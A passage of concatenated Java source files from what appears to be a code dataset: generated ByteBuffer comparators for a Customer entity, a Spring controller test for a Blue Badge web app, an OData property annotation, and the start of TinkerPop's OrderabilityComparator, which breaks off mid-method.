final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_ADDRESS_ID;
return compareTo.compare(buffer, begins, begins + Integer.BYTES);
};
case ACTIVE : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_ACTIVE;
return compareTo.compare(buffer, begins, begins + Integer.BYTES);
};
case CREATE_DATE : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_CREATE_DATE;
return compareTo.compare(buffer, begins, begins + 8);
};
case LAST_UPDATE : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_LAST_UPDATE;
return compareTo.compare(buffer, begins, begins + 8);
};
case FIRST_NAME : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
return compareTo.compare(buffer,
rowOffset + VARSIZE_BEGINS,
rowOffset + VARSIZE_BEGINS + buffer.getInt(rowOffset + ENDPOS_FIRST_NAME)
);
};
case LAST_NAME : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
return compareTo.compare(buffer,
rowOffset + VARSIZE_BEGINS + (0x7fffffff & buffer.getInt(rowOffset + ENDPOS_LAST_NAME - Integer.BYTES)),
rowOffset + VARSIZE_BEGINS + buffer.getInt(rowOffset + ENDPOS_LAST_NAME)
);
};
case EMAIL : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
return compareTo.compare(buffer,
rowOffset + VARSIZE_BEGINS + (0x7fffffff & buffer.getInt(rowOffset + ENDPOS_EMAIL - Integer.BYTES)),
rowOffset + VARSIZE_BEGINS + buffer.getInt(rowOffset + ENDPOS_EMAIL)
);
};
default : {
throw new UnsupportedOperationException(
String.format("Unknown enum constant '%s'.", _id)
);
}
}
} else {
final String _colName = colId.getColumnId();
switch (_colName) {
case "store_id" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_STORE_ID;
return compareTo.compare(buffer, begins, begins + Short.BYTES);
};
case "customer_id" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_CUSTOMER_ID;
return compareTo.compare(buffer, begins, begins + Integer.BYTES);
};
case "address_id" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_ADDRESS_ID;
return compareTo.compare(buffer, begins, begins + Integer.BYTES);
};
case "active" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_ACTIVE;
return compareTo.compare(buffer, begins, begins + Integer.BYTES);
};
case "create_date" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_CREATE_DATE;
return compareTo.compare(buffer, begins, begins + 8);
};
case "last_update" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
final int begins = rowOffset + FIELD_LAST_UPDATE;
return compareTo.compare(buffer, begins, begins + 8);
};
case "first_name" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
return compareTo.compare(buffer,
rowOffset + VARSIZE_BEGINS,
rowOffset + VARSIZE_BEGINS + buffer.getInt(rowOffset + ENDPOS_FIRST_NAME)
);
};
case "last_name" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
return compareTo.compare(buffer,
rowOffset + VARSIZE_BEGINS + (0x7fffffff & buffer.getInt(rowOffset + ENDPOS_LAST_NAME - Integer.BYTES)),
rowOffset + VARSIZE_BEGINS + buffer.getInt(rowOffset + ENDPOS_LAST_NAME)
);
};
case "email" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
return compareTo.compare(buffer,
rowOffset + VARSIZE_BEGINS + (0x7fffffff & buffer.getInt(rowOffset + ENDPOS_EMAIL - Integer.BYTES)),
rowOffset + VARSIZE_BEGINS + buffer.getInt(rowOffset + ENDPOS_EMAIL)
);
};
default : {
throw new UnsupportedOperationException(
String.format("Unknown column name '%s'.", _colName)
);
}
}
}
}
@Override
public BiLongToIntFunction newComparator(final ColumnIdentifier<Customer> colId, final EntityStoreComparator comparator) {
if (colId instanceof Customer.Identifier) {
final Customer.Identifier _id = (Customer.Identifier) colId;
switch (_id) {
case STORE_ID : return (aRef, bRef) -> {
final ByteBuffer aBuffer = bufferFinder.apply(aRef);
final ByteBuffer bBuffer = bufferFinder.apply(bRef);
final int aRowOffset = offsetFinder.applyAsInt(aRef);
final int bRowOffset = offsetFinder.applyAsInt(bRef);
final int aBegins = aRowOffset + FIELD_STORE_ID;
final int bBegins = bRowOffset + FIELD_STORE_ID;
return comparator.compare(
aBuffer, aBegins, aBegins + Short.BYTES,
bBuffer, bBegins, bBegins + Short.BYTES
);
};
case CUSTOMER_ID : return (aRef, bRef) -> {
final ByteBuffer aBuffer = bufferFinder.apply(aRef);
final ByteBuffer bBuffer = bufferFinder.apply(bRef);
final int aRowOffset = offsetFinder.applyAsInt(aRef);
final int bRowOffset = offsetFinder.applyAsInt(bRef);
final int aBegins = aRowOffset + FIELD_CUSTOMER_ID;
final int bBegins = bRowOffset + FIELD_CUSTOMER_ID;
return comparator.compare(
aBuffer, aBegins, aBegins + Integer.BYTES,
bBuffer, bBegins, bBegins + Integer.BYTES
);
};
case ADDRESS_ID : return (aRef, bRef) -> {
final ByteBuffer aBuffer = bufferFinder.apply(aRef);
final ByteBuffer bBuffer = bufferFinder.apply(bRef);
final int aRowOffset = offsetFinder.applyAsInt(aRef);
final int bRowOffset = offsetFinder.applyAsInt(bRef);
final int aBegins = aRowOffset + FIELD_ADDRESS_ID;
final int bBegins = bRowOffset + FIELD_ADDRESS_ID;
return comparator.compare(
aBuffer, aBegins, aBegins + Integer.BYTES,
bBuffer, bBegins, bBegins + Integer.BYTES
);
};
case ACTIVE : return (aRef, bRef) -> {
final ByteBuffer aBuffer = bufferFinder.apply(aRef);
final ByteBuffer bBuffer = bufferFinder.apply(bRef);
final int aRowOffset = offsetFinder.applyAsInt(aRef);
final int bRowOffset = offsetFinder.applyAsInt(bRef);
final int aBegins = aRowOffset + FIELD_ACTIVE;
final int bBegins = bRowOffset + FIELD_ACTIVE;
return comparator.compare(
aBuffer, aBegins, aBegins + Integer.BYTES,
bBuffer, bBegins, bBegins + Integer.BYTES
);
};
case CREATE_DATE : return (aRef, bRef) -> {
final ByteBuffer aBuffer = bufferFinder.apply(aRef);
final ByteBuffer bBuffer = bufferFinder.apply(bRef);
final int aRowOffset = offsetFinder.applyAsInt(aRef);
final int bRowOffset = offsetFinder.applyAsInt(bRef);
final int aBegins = aRowOffset + FIELD_CREATE_DATE;
final int bBegins = bRowOffset + FIELD_CREATE_DATE;
return comparator.compare(
aBuffer, aBegins, aBegins + 8,
bBuffer, bBegins, bBegins + 8
);
};
case LAST_UPDATE : return (aRef, bRef) -> {
final ByteBuffer aBuffer = bufferFinder.apply(aRef);
final ByteBuffer bBuffer = bufferFinder.apply(bRef);
final int aRowOffset = offsetFinder.applyAsInt(aRef);
final int bRowOffset = offsetFinder.applyAsInt(bRef);
final int aBegins = aRowOffset + FIELD_LAST_UPDATE;
final int bBegins = bRowOffset + FIELD_LAST_UPDATE;
return comparator.compare(
aBuffer, aBegins, aBegins + 8,
bBuffer, bBegins, bBegins + 8
);
};
case FIRST_NAME : return (aRef, bRef) -> {
final ByteBuffer aBuffer = bufferFinder.apply(aRef);
final ByteBuffer bBuffer = bufferFinder.apply(bRef);
final int aRowOffset = offsetFinder.applyAsInt(aRef);
final int bRowOffset = offsetFinder.applyAsInt(bRef);
return comparator.compare(
aBuffer, aRowOffset + VARSIZE_BEGINS, aRowOffset + VARSIZE_BEGINS + aBuffer.getInt(aRowOffset + ENDPOS_FIRST_NAME),
bBuffer, bRowOffset + VARSIZE_BEGINS, bRowOffset + VARSIZE_BEGINS + bBuffer.getInt(bRowOffset + ENDPOS_FIRST_NAME)
);
};
case LAST_NAME : return (aRef, bRef) -> {
final ByteBuffer aBuffer = bufferFinder.apply(aRef);
final ByteBuffer bBuffer = bufferFinder.apply(bRef);
final int aRowOffset = offsetFinder.applyAsInt(aRef);
final int bRowOffset = offsetFinder.applyAsInt(bRef);
return comparator.compare(
aBuffer, aRowOffset + VARSIZE_BEGINS + (0x7fffffff & aBuffer.getInt(aRowOffset + ENDPOS_LAST_NAME - Integer.BYTES)), aRowOffset + VARSIZE_BEGINS + aBuffer.getInt(aRowOffset + ENDPOS_LAST_NAME),
bBuffer, bRowOffset + VARSIZE_BEGINS + (0x7fffffff & bBuffer.getInt(bRowOffset + ENDPOS_LAST_NAME - Integer.BYTES)), bRowOffset + VARSIZE_BEGINS + bBuffer.getInt(bRowOffset + ENDPOS_LAST_NAME)
);
};
case EMAIL : return (aRef, bRef) -> {
final ByteBuffer aBuffer = bufferFinder.apply(aRef);
final ByteBuffer bBuffer = bufferFinder.apply(bRef);
final int aRowOffset = offsetFinder.applyAsInt(aRef);
final int bRowOffset = offsetFinder.applyAsInt(bRef);
return comparator.compare(
aBuffer, aRowOffset + VARSIZE_BEGINS + (0x7fffffff & aBuffer.getInt(aRowOffset + ENDPOS_EMAIL - Integer.BYTES)), aRowOffset + VARSIZE_BEGINS + aBuffer.getInt(aRowOffset + ENDPOS_EMAIL),
bBuffer, bRowOffset + VARSIZE_BEGINS + (0x7fffffff & bBuffer.getInt(bRowOffset + ENDPOS_EMAIL - Integer.BYTES)), bRowOffset + VARSIZE_BEGINS + bBuffer.getInt(bRowOffset + ENDPOS_EMAIL)
);
};
default : {
throw new UnsupportedOperationException(
String.format("Unknown enum constant '%s'.", _id)
);
}
}
} else {
final String _colName = colId.getColumnId();
switch (_colName) {
case "store_id" : return (aRef, bRef) -> {
final ByteBuffer aBuffer = bufferFinder.apply(aRef);
final ByteBuffer bBuffer = bufferFinder.apply(bRef);
final int aRowOffset = offsetFinder.applyAsInt(aRef);
final int bRowOffset = offsetFinder.applyAsInt(bRef);
final int aBegins = aRowOffset + FIELD_STORE_ID;
final int bBegins = bRowOffset + FIELD_STORE_ID;
return comparator.compare(
aBuffer, aBegins, aBegins + Short.BYTES,
bBuffer, bBegins, bBegins + Short.BYTES
);
};
case "customer_id" : return (aRef, bRef) -> {
final ByteBuffer aBuffer = bufferFinder.apply(aRef);
final ByteBuffer bBuffer = bufferFinder.apply(bRef);
final int aRowOffset = offsetFinder.applyAsInt(aRef);
final int bRowOffset = offsetFinder.applyAsInt(bRef);
final int aBegins = aRowOffset + FIELD_CUSTOMER_ID;
final int bBegins = bRowOffset + FIELD_CUSTOMER_ID;
return comparator.compare(
aBuffer, aBegins, aBegins + Integer.BYTES,
bBuffer, bBegins, bBegins + Integer.BYTES
);
};
case "address_id" : return (aRef, bRef) -> {
final ByteBuffer aBuffer = bufferFinder.apply(aRef);
final ByteBuffer bBuffer = bufferFinder.apply(bRef);
final int aRowOffset = offsetFinder.applyAsInt(aRef);
final int bRowOffset = offsetFinder.applyAsInt(bRef);
final int aBegins = aRowOffset + FIELD_ADDRESS_ID;
final int bBegins = bRowOffset + FIELD_ADDRESS_ID;
return comparator.compare(
aBuffer, aBegins, aBegins + Integer.BYTES,
bBuffer, bBegins, bBegins + Integer.BYTES
);
};
case "active" : return (aRef, bRef) -> {
final ByteBuffer aBuffer = bufferFinder.apply(aRef);
final ByteBuffer bBuffer = bufferFinder.apply(bRef);
final int aRowOffset = offsetFinder.applyAsInt(aRef);
final int bRowOffset = offsetFinder.applyAsInt(bRef);
final int aBegins = aRowOffset + FIELD_ACTIVE;
final int bBegins = bRowOffset + FIELD_ACTIVE;
return comparator.compare(
aBuffer, aBegins, aBegins + Integer.BYTES,
bBuffer, bBegins, bBegins + Integer.BYTES
);
};
case "create_date" : return (aRef, bRef) -> {
final ByteBuffer aBuffer = bufferFinder.apply(aRef);
final ByteBuffer bBuffer = bufferFinder.apply(bRef);
final int aRowOffset = offsetFinder.applyAsInt(aRef);
final int bRowOffset = offsetFinder.applyAsInt(bRef);
final int aBegins = aRowOffset + FIELD_CREATE_DATE;
final int bBegins = bRowOffset + FIELD_CREATE_DATE;
return comparator.compare(
aBuffer, aBegins, aBegins + 8,
bBuffer, bBegins, bBegins + 8
);
};
case "last_update" : return (aRef, bRef) -> {
final ByteBuffer aBuffer = bufferFinder.apply(aRef);
final ByteBuffer bBuffer = bufferFinder.apply(bRef);
final int aRowOffset = offsetFinder.applyAsInt(aRef);
final int bRowOffset = offsetFinder.applyAsInt(bRef);
final int aBegins = aRowOffset + FIELD_LAST_UPDATE;
final int bBegins = bRowOffset + FIELD_LAST_UPDATE;
return comparator.compare(
aBuffer, aBegins, aBegins + 8,
bBuffer, bBegins, bBegins + 8
);
};
case "first_name" : return (aRef, bRef) -> {
final ByteBuffer aBuffer = bufferFinder.apply(aRef);
final ByteBuffer bBuffer = bufferFinder.apply(bRef);
final int aRowOffset = offsetFinder.applyAsInt(aRef);
final int bRowOffset = offsetFinder.applyAsInt(bRef);
return comparator.compare(
aBuffer, aRowOffset + VARSIZE_BEGINS, aRowOffset + VARSIZE_BEGINS + aBuffer.getInt(aRowOffset + ENDPOS_FIRST_NAME),
bBuffer, bRowOffset + VARSIZE_BEGINS, bRowOffset + VARSIZE_BEGINS + bBuffer.getInt(bRowOffset + ENDPOS_FIRST_NAME)
);
};
case "last_name" : return (aRef, bRef) -> {
final ByteBuffer aBuffer = bufferFinder.apply(aRef);
final ByteBuffer bBuffer = bufferFinder.apply(bRef);
final int aRowOffset = offsetFinder.applyAsInt(aRef);
final int bRowOffset = offsetFinder.applyAsInt(bRef);
return comparator.compare(
aBuffer, aRowOffset + VARSIZE_BEGINS + (0x7fffffff & aBuffer.getInt(aRowOffset + ENDPOS_LAST_NAME - Integer.BYTES)), aRowOffset + VARSIZE_BEGINS + aBuffer.getInt(aRowOffset + ENDPOS_LAST_NAME),
bBuffer, bRowOffset + VARSIZE_BEGINS + (0x7fffffff & bBuffer.getInt(bRowOffset + ENDPOS_LAST_NAME - Integer.BYTES)), bRowOffset + VARSIZE_BEGINS + bBuffer.getInt(bRowOffset + ENDPOS_LAST_NAME)
);
};
case "email" : return (aRef, bRef) -> {
final ByteBuffer aBuffer = bufferFinder.apply(aRef);
final ByteBuffer bBuffer = bufferFinder.apply(bRef);
final int aRowOffset = offsetFinder.applyAsInt(aRef);
final int bRowOffset = offsetFinder.applyAsInt(bRef);
return comparator.compare(
aBuffer, aRowOffset + VARSIZE_BEGINS + (0x7fffffff & aBuffer.getInt(aRowOffset + ENDPOS_EMAIL - Integer.BYTES)), aRowOffset + VARSIZE_BEGINS + aBuffer.getInt(aRowOffset + ENDPOS_EMAIL),
bBuffer, bRowOffset + VARSIZE_BEGINS + (0x7fffffff & bBuffer.getInt(bRowOffset + ENDPOS_EMAIL - Integer.BYTES)), bRowOffset + VARSIZE_BEGINS + bBuffer.getInt(bRowOffset + ENDPOS_EMAIL)
);
};
default : {
throw new UnsupportedOperationException(
String.format("Unknown column name '%s'.", _colName)
);
}
}
}
}
@Override
public LongToIntFunction sizeOf() {
return ref -> VARSIZE_BEGINS + Math.abs(bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + ENDPOS_EMAIL));
}
} | 55.549572 | 218 | 0.547175 |
e4b1cfe4f9566c909a5f953b2ed54e4f860c27da | 6,733 | package uk.gov.dft.bluebadge.webapp.la.controller;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.delete;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.model;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.redirectedUrl;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.view;
import java.time.LocalDate;
import java.util.Optional;
import org.junit.Before;
import org.junit.Test;
import org.mockito.Mock;
import org.mockito.MockitoAnnotations;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import org.springframework.ui.Model;
import uk.gov.dft.bluebadge.webapp.la.StandaloneMvcTestViewResolver;
import uk.gov.dft.bluebadge.webapp.la.client.badgemanagement.model.Badge;
import uk.gov.dft.bluebadge.webapp.la.client.badgemanagement.model.Party;
import uk.gov.dft.bluebadge.webapp.la.client.common.NotFoundException;
import uk.gov.dft.bluebadge.webapp.la.controller.converter.servicetoviewmodel.BadgeToBadgeDetailsViewModel;
import uk.gov.dft.bluebadge.webapp.la.controller.viewmodel.BadgeDetailsViewModel;
import uk.gov.dft.bluebadge.webapp.la.service.BadgeService;
import uk.gov.dft.bluebadge.webapp.la.service.enums.BadgePartyTypeEnum;
import uk.gov.dft.bluebadge.webapp.la.service.enums.Status;
public class BadgeDetailsControllerTest extends BaseControllerTest {
private static final String BADGE_NUMBER = "KKKKJ9";
@Mock private BadgeService badgeServiceMock;
@Mock private BadgeToBadgeDetailsViewModel badgeToBadgeDetailsViewModelMock;
@Mock private Model modelMock;
private BadgeDetailsController controller;
// Test Data
private Badge badge;
private BadgeDetailsViewModel badgeViewModel;
@Before
public void setup() {
// Process mock annotations
MockitoAnnotations.initMocks(this);
controller = new BadgeDetailsController(badgeServiceMock, badgeToBadgeDetailsViewModelMock);
this.mockMvc =
MockMvcBuilders.standaloneSetup(controller)
.setViewResolvers(new StandaloneMvcTestViewResolver())
.build();
badge = new Badge();
badge.setStatusCode(Status.ISSUED.name());
badge.setExpiryDate(LocalDate.now().plusYears(1));
badgeViewModel = BadgeDetailsViewModel.builder().build();
}
@Test
public void show_shouldDisplayBadgeDetailsForPerson_WhenBadgeExists() throws Exception {
Party party = new Party();
party.setTypeCode(BadgePartyTypeEnum.PERSON.getCode());
badge.setParty(party);
badge.setStartDate(LocalDate.now().minusDays(10));
badge.setExpiryDate(LocalDate.now().plusDays(1));
when(badgeServiceMock.retrieve(BADGE_NUMBER)).thenReturn(Optional.of(badge));
when(badgeToBadgeDetailsViewModelMock.convert(badge)).thenReturn(badgeViewModel);
mockMvc
.perform(get(URL_BADGE_DETAILS + BADGE_NUMBER))
.andExpect(status().isOk())
.andExpect(view().name(TEMPLATE_BADGE_DETAILS))
.andExpect(model().attribute("badge", badgeViewModel))
.andExpect(model().attribute("canBeReplaced", true))
.andExpect(model().attribute("canBeCancelled", true))
.andExpect(model().attribute("backLink", "/manage-badges/search-results"));
}
@Test
public void
show_shouldDisplayBadgeDetailsForPersonWithoutCancelAndReplaceOption_WhenBadgeIsExpired()
throws Exception {
Party party = new Party();
party.setTypeCode(BadgePartyTypeEnum.PERSON.getCode());
badge.setParty(party);
badge.setStartDate(LocalDate.now().minusDays(10));
badge.setExpiryDate(LocalDate.now().minusDays(5));
when(badgeServiceMock.retrieve(BADGE_NUMBER)).thenReturn(Optional.of(badge));
when(badgeToBadgeDetailsViewModelMock.convert(badge)).thenReturn(badgeViewModel);
mockMvc
.perform(get(URL_BADGE_DETAILS + BADGE_NUMBER))
.andExpect(status().isOk())
.andExpect(view().name(TEMPLATE_BADGE_DETAILS))
.andExpect(model().attribute("badge", badgeViewModel))
.andExpect(model().attribute("canBeReplaced", false))
.andExpect(model().attribute("canBeCancelled", false))
.andExpect(model().attribute("backLink", "/manage-badges/search-results"));
}
@Test
public void show_shouldDisplayBadgeDetailsForOrganisation_WhenBadgeExists() throws Exception {
Party party = new Party();
party.setTypeCode(BadgePartyTypeEnum.ORGANISATION.getCode());
badge.setParty(party);
when(badgeServiceMock.retrieve(BADGE_NUMBER)).thenReturn(Optional.of(badge));
when(badgeToBadgeDetailsViewModelMock.convert(badge)).thenReturn(badgeViewModel);
mockMvc
.perform(get(URL_BADGE_DETAILS + BADGE_NUMBER))
.andExpect(status().isOk())
.andExpect(view().name(TEMPLATE_BADGE_DETAILS))
.andExpect(model().attribute("badge", badgeViewModel))
.andExpect(model().attribute("backLink", "/manage-badges/search-results"));
}
@Test(expected = NotFoundException.class)
public void show_shouldThrowNotFoundException_WhenBadgeDoesNotExist() throws Exception {
when(badgeServiceMock.retrieve(BADGE_NUMBER)).thenReturn(Optional.empty());
controller.show(BADGE_NUMBER, modelMock, null);
verify(badgeToBadgeDetailsViewModelMock, times(0)).convert(any());
}
@Test
public void deleteBadge_shouldRedirectToFindBadges() throws Exception {
mockMvc
.perform(delete(URL_DELETE_BADGE + BADGE_NUMBER))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl("/manage-badges"));
verify(badgeServiceMock, times(1)).deleteBadge(BADGE_NUMBER);
}
@Test
public void
show_shouldDisplayBadgeDetails_withBackLinkToFindABadge_whenFindBadgeReturnedOneResult()
throws Exception {
Party party = new Party();
party.setTypeCode(BadgePartyTypeEnum.ORGANISATION.getCode());
badge.setParty(party);
when(badgeServiceMock.retrieve(BADGE_NUMBER)).thenReturn(Optional.of(badge));
when(badgeToBadgeDetailsViewModelMock.convert(badge)).thenReturn(badgeViewModel);
mockMvc
.perform(get(URL_BADGE_DETAILS + BADGE_NUMBER + "?prev-step=find-badge"))
.andExpect(status().isOk())
.andExpect(view().name(TEMPLATE_BADGE_DETAILS))
.andExpect(model().attribute("badge", badgeViewModel))
.andExpect(model().attribute("backLink", "/manage-badges"));
}
}
| 42.08125 | 107 | 0.760731 |
7721b6477b716877d8aa1f449df9cfc39a7d50ab | 7,559 | /*
* MIT License
*
* Copyright (c) [2020] [He Zhang]
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
* of the Software, and to permit persons to whom the Software is furnished
* to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
package com.github.saturn.odata.annotations;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
/**
* The edm:Property element defines a structural property.
* A structural property is a property (of a structural type) that has one of the following types:
* * Primitive type
* * Complex type
* * Enumeration type
* * A collection of one of the above
*
* For more details:
* http://docs.oasis-open.org/odata/odata/v4.0/os/part3-csdl/odata-v4.0-os-part3-csdl.html#_Toc372793906
*/
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.FIELD)
public @interface ODataProperty {
/**
* The edm:Property element MUST include a Name attribute whose value is a SimpleIdentifier used
* when referencing, serializing or deserializing the property.
*
* The name of the structural property MUST be unique within the set of structural and navigation
* properties of the containing structured type and any of its base types.
*
* @return name of the Property.
*/
String name() default "";
/**
* The edm:Property element MUST include a Type attribute. The value of the Type attribute MUST be
* the QualifiedName of a primitive type, complex type, or enumeration type in scope, or a collection
* of one of these types.
*
* @return type of the Property.
*/
String type() default "";
/**
* The edm:Property element MAY contain the Nullable attribute whose Boolean value specifies whether
* a value is required for the property.
*
* If no value is specified for a property whose Type attribute does not specify a collection, the
* Nullable attribute defaults to true.
*
* If the edm:Property element contains a Type attribute that specifies a collection, the property
* MUST always exist, but the collection MAY be empty. In this case, the Nullable attribute applies
* to members of the collection and specifies whether the collection can contain null values.
*/
boolean nullable() default true;
/**
* A primitive or enumeration property MAY define a value for the DefaultValue attribute. The value
* of this attribute determines the value of the property if the property is not explicitly represented
* in an annotation or the body of a POST or PUT request.
*
* Default values of type Edm.String MUST be represented according to the XML escaping rules for character
* data in attribute values. Values of other primitive types MUST be represented according to the appropriate
* alternative in the primitiveValue rule defined in [OData-ABNF], i.e. Edm.Binary as binaryValue, Edm.Boolean
* as booleanValue etc..
*
* If no value is specified, the DefaultValue attribute defaults to null.
*
* @return defaultValue of the Property.
*/
String defaultValue() default "";
/**
* A binary, stream or string property MAY define a positive integer value for the MaxLength facet
* attribute. The value of this attribute specifies the maximum length of the value of the property
* on a type instance. Instead of an integer value the constant max MAY be specified as a shorthand
* for the maximum length supported for the type by the service.
*
* If no value is specified, the property has unspecified length.
*
* @return max length of the Property.
*/
int maxLength() default Integer.MAX_VALUE;
/**
* A datetime-with-offset, decimal, duration, or time-of-day property MAY define a value for the
* Precision attribute.
*
* For a decimal property the value of this attribute specifies the maximum number of digits allowed
* in the property’s value; it MUST be a positive integer. If no value is specified, the decimal property
* has unspecified precision.
*
* For a temporal property the value of this attribute specifies the number of decimal places allowed
* in the seconds portion of the property’s value; it MUST be a non-negative integer between zero and
* twelve. If no value is specified, the temporal property has a precision of zero.
*
* @return precision of the Property.
*/
int precision() default Integer.MAX_VALUE;
/**
* A decimal property MAY define a non-negative integer value or variable for the Scale attribute.
* This attribute specifies the maximum number of digits allowed to the right of the decimal point.
* The value variable means that the number of digits to the right of the decimal point may vary from
* zero to the value of the Precision attribute.
*
* The value of the Scale attribute MUST be less than or equal to the value of the Precision attribute.
*
* If no value is specified, the Scale facet defaults to zero.
*
* @return scale of the Property.
*/
int scale() default Integer.MAX_VALUE;
/**
* A geometry or geography property MAY define a value for the SRID attribute. The value of this attribute
* identifies which spatial reference system is applied to values of the property on type instances.
*
* The value of the SRID attribute MUST be a non-negative integer or the special value variable.
* If no value is specified, the attribute defaults to 0 for Geometry types or 4326 for Geography types.
*/
int srid() default 0;
/**
* A string property MAY define a Boolean value for the Unicode attribute.
*
* A true value assigned to this attribute indicates that the value of the property is encoded with Unicode.
* A false value assigned to this attribute indicates that the value of the property is encoded with ASCII.
*
* If no value is specified, the Unicode facet defaults to true.
*/
boolean unicode() default true;
/**
* The variable of edm(jpa) entity, default should be self with this annotation and equal to name().
* @return variable of edm(jpa) entity.
*/
String jpaVariable() default "";
/**
* For JPA entity, since the jpa entity and edm entity are combine with each other
* So this value should always be the value type with this annotation.
* @return entity of edm(jpa).
*/
Class<?> jpaEntity() default Object.class;
}
| 44.464706 | 114 | 0.711205 |
e1e3d07c4e5782a8abd406ad24d0c95e7c31f126 | 7,551 | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.tinkerpop.gremlin.util;
import org.apache.tinkerpop.gremlin.process.traversal.Path;
import org.apache.tinkerpop.gremlin.process.traversal.Traverser;
import org.apache.tinkerpop.gremlin.structure.Edge;
import org.apache.tinkerpop.gremlin.structure.Element;
import org.apache.tinkerpop.gremlin.structure.Property;
import org.apache.tinkerpop.gremlin.structure.Vertex;
import org.apache.tinkerpop.gremlin.structure.VertexProperty;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.Date;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.UUID;
/**
* An implementation of the Comparability/Orderability semantics as defined in the Apache TinkerPop Provider
* documentation.
*
* @author Mike Personick
*/
public class OrderabilityComparator implements Comparator<Object> {
public static final Comparator<Object> INSTANCE = Comparator.comparing(
// first transform (strip Traverser layer)
OrderabilityComparator::transform,
// then handle nulls
Comparator.nullsFirst(
// then consider orderability
new OrderabilityComparator()));
/**
* Boolean, Date, String, UUID.
*/
private static final Comparator<Comparable> naturalOrderComparator = Comparator.naturalOrder();
/**
* This comparator does not provide a stable order for numerics because of type promotion equivalence semantics.
*/
private static final Comparator<Number> numberComparator = (f,s) -> NumberHelper.compare(f, s);
/**
* Sort Vertex, Edge, VertexProperty by id.
*/
private static final Comparator<Element> elementComparator =
Comparator.comparing(Element::id, INSTANCE);
/**
* Sort Property first by key, then by value.
*/
private static final Comparator<Property> propertyComparator =
Comparator.<Property,Object>comparing(Property::key, INSTANCE).thenComparing(Property::value, INSTANCE);
/**
* Sort List, Set, Path, and Map element-by-element in the order presented by their natural iterator.
*/
private static final Comparator<Iterable> iteratableComparator = (f, s) -> {
final Iterator fi = f.iterator();
final Iterator si = s.iterator();
while (fi.hasNext() && si.hasNext()) {
final int i = INSTANCE.compare(fi.next(), si.next());
if (i != 0) {
return i;
}
}
